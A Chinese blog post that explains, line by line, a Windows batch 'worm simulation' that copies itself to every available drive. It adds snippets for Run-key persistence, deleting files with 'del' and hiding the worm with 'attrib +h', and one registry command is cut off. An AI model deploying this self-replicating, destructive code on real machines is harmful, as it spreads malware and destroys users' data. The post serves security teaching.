首页 > 其他分享 >渗透测试 -- 蠕虫分析

渗透测试 -- 蠕虫分析

时间:2024-11-09 21:44:04浏览次数:3  
标签:变量 %% -- WORM echo 渗透 蠕虫 worm

声明

学习视频来自B站UP主 泷羽sec,如涉及侵泷羽sec权马上删除文章笔记的只是方便各位师傅学习知识,以下网站涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负

一、源码

@echo off
setlocal enabledelayedexpansion

:: 设置蠕虫文件的名称
set WORM_FILE=worm.bat

:: 检查当前文件是否是蠕虫文件
if not "%~nx0"=="%WORM_FILE%" (
    echo This is not the worm file.
    goto end
)

:: 显示蠕虫启动消息
echo Starting the worm simulation...

:: 循环复制自身到其他目录
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (
    if exist %%d: (
        if not exist %%d:\%WORM_FILE% (
            copy "%~f0" "%%d:\%WORM_FILE%"
            echo Copied worm to %%d:\
        )
    )
)

:: 结束蠕虫模拟
:end
echo Worm simulation ended.
endlocal

二、语句含义

一、第一部分

@echo off

该语法是为了更好便于bat批处理命令的执行,由于Windows批处理脚本(bat文件)时,默认会每执行一条命令命令本身和执行结果都会回显在命令提示符窗口中。

故,@echo off作用是关闭执行命令回显功能,在批处理脚本开头加上这句后,脚本执行命令将不会回显,如果有输出的话只会回显命令执行结果。

setloacl enabledelayedexpansion

setlocal  用于设置局部环境的命令。可以限制变量的作用范围,使其在它之后的定义变量在该局部环境内有效,并将该局部环境结束。通常在脚本末尾或遇到对应命令endlocal,这些遍历会自动清除。(局部环境不会影响到全局环境)

setloacl enabledelayedexpansion   的是setlocal命令的扩展,变量的默认扩展方式是在读取命令时就进行扩展。但是在一些特殊情境下,如需要循环体内根据循环的进展动态地更新变量的值并使用这些更新后的值,常规的变量扩展就会出现问题,所以启动延迟扩展,变量的扩展就会延迟到实际需要使用该变量的值时进行,这样就能在循环等动态下灵活的处理变量的值。在开启延迟环境变量扩展后,在代码中使用的变量需要用!,而不是%引用。

二、第二部分

set WORM_FILE=worm.bat

set用于Windows批处理脚本中设置变量的命令,通过该命令可创建新的变量或修改已有变量值

WORM_FILE 就是新定义的变量名,后续脚本内容来代表worm.bat文件。

三、第三部分

%~nx0

%~nx0   来获取当前脚本文件的文件名和扩展名。%0表示当前脚本文件名(包括路径),~n用于提取文件名部分,~x用于提取扩展名部分,将其组合~nx就能获取文件名和扩展名。

四、第四部分

if条件语句

if not "!%~nx0!" == "!WROM_FILE!" (

     start cmd

)

for语句

自我复制模块:
 

for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do (

      if exist %%d: (

          if not exist %%d:\%WORM_FILE% (

             copy "%~f0" "%%d:\%WORM_FILE%" 

             echo Copied worm to %%d:\

            )

      )

)
该操作会遍历c到z盘的驱动器字母。 if exist %%d:(......)会检查该驱动器是否存在。 if not exist %%d:\%WORM_FILE%(.......)检查该驱动是否不存在指定的蠕虫文件,如果不存在则使用copy命令将当前文件复制该驱动器下,并输出复制消息。 end和 echo Worm simulation ended定义了end标签,并输出蠕虫模拟结束的消息。 执行模块: reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WormName" /t REG_SZ /d "C:\path\to\wor

该语句会利用reg注册表将蠕虫添加到自启动任务中。

恶意目的模块:del C:\important_files\*.*

利用del对目标文件进行删除破坏。

隐藏痕迹模块:attrib +h C:\destination_folder\worm.bat

修改蠕虫文件属性。

最后,制作不易,您的点赞是对我最大的支持,感谢大家点赞关注一键三连,未来我还会更新更多红队文章

标签:变量,%%,--,WORM,echo,渗透,蠕虫,worm
From: https://blog.csdn.net/Zeu_s/article/details/143651290

相关文章

  • 医学图像分割综述(肝脏等器官与肿瘤的分割)——组会必备
    制作了一个思维脑图,下面的MakeDown格式的,脑图会截图发在下面,也可以找我要源文件。医学图像分割综述参考论文MedicalImageSegmentationUsingDeepLearning:ASurveySubmittedon28Sep2020(v1),lastrevised22Dec2021(thisversion,v3)]对基于深度学习......
  • 基于 Cobra 的文字识别程序
    在这篇文章中,我们将通过实现一个文字识别程序来探索Cobra语言。由于Cobra没有直接的图像处理和文字识别库,我们将重点放在基本图像处理和字符匹配上。假设我们要识别的内容是简单的图形化字符,例如将图像中的形状与预定义的字符模式进行匹配。环境准备首先,确保你已经安装了Co......
  • 知识点:动态规划
    知识点:该题目考察的知识点是动态规划,特别是用于计算两个字符串之间的编辑距离(Levenshtein距离)。编辑距离是衡量两个字符串相似度的一种方法,它定义为将一个字符串转换为另一个字符串所需的最少操作次数,这些操作包括插入、删除和替换字符。动态规划的相关内容:动态规划是一种算法策......
  • 使用 Ballerina 编写的简单文字识别程序
    在这篇文章中,我们将实现一个基本的文字识别程序,能够从图片中提取文本内容。我们使用Ballerina来编写代码示例,并解释关键步骤。代码实现首先安装Ballerina环境,然后使用以下代码实现图片读取和文字识别功能。代码ballerinaimportballerina/io;importballerina/file;typ......
  • 【Stata 18软件下载与安装教程 含密钥】
    1、安装包  Stata18:链接:https://pan.quark.cn/s/a34fb60dbe77提取码:av8q2、安装教程1)       双击解压包内Setup.exe安装,弹窗安装对话框  2)       点击下一步  3)       选择Iaccept,点击下一步  4)       输入用户......
  • 知识点:算法策略
    知识点:在软考中,常考的算法策略包括分治法、动态规划法、贪心法、回溯法等。下面详细介绍这些算法策略的原理、适用场景以及算法复杂度:1.分治法原理:分治法是将一个复杂的问题分解成若干个相同或相似的子问题,递归解决子问题,然后将子问题的解合并以解决原问题。适用场景:适用于可......
  • go: ubuntu安装go 1.23.3
    一,下载官网:https://go.dev/从首页进入到下载页面:如图:选择适合自己系统的版本复制下载地址,从命令行下载$wgethttps://go.dev/dl/go1.23.3.linux-amd64.tar.gz二,安装1,解压:$tar-zxvfgo1.23.3.linux-amd64.tar.gz移动到安装目录:$mvgo/usr/local/soft/2,......
  • CF1977D XORificator
    CF1977DXORificator题意给你一个二进制(仅由\(0\)和\(1\)组成)\(n\timesm\)矩阵。你可以进行以下操作任意次:反转某一行中的所有值(即用\(1\)替换\(0\),用\(0\)替换\(1\))。矩阵中的某一列如果只包含一个\(1\),则被视为特殊列。你的任务是找出最多有多少列可以同时被特......
  • 可持久化线段树
    少写了一点,可持久化的好处就是可以用较低的代价去得到可以变换版本这一功能。可持久化线段树(主席树)带注释的代码/*注意,可持久化线段树很难支持区间修改,一般涉及区间修改的时候不用单点修改是可以的一样,直接选这题不大好,看下面的通用模版,具有通......
  • 博弈论基础
    算法竞赛中的博弈论问题:ICG(ImpartialCombinatorialGames公平组合游戏)特征如下:1.两名选手2.轮流操作,每次一步,每步在有限合法集合中选取一种进行3.任何情况,合法操作只取决于情况本身,与选手无关4.游戏败北条件:当某位选手需要进行操作时,当前没有任何可以执行的合法操作,则该选......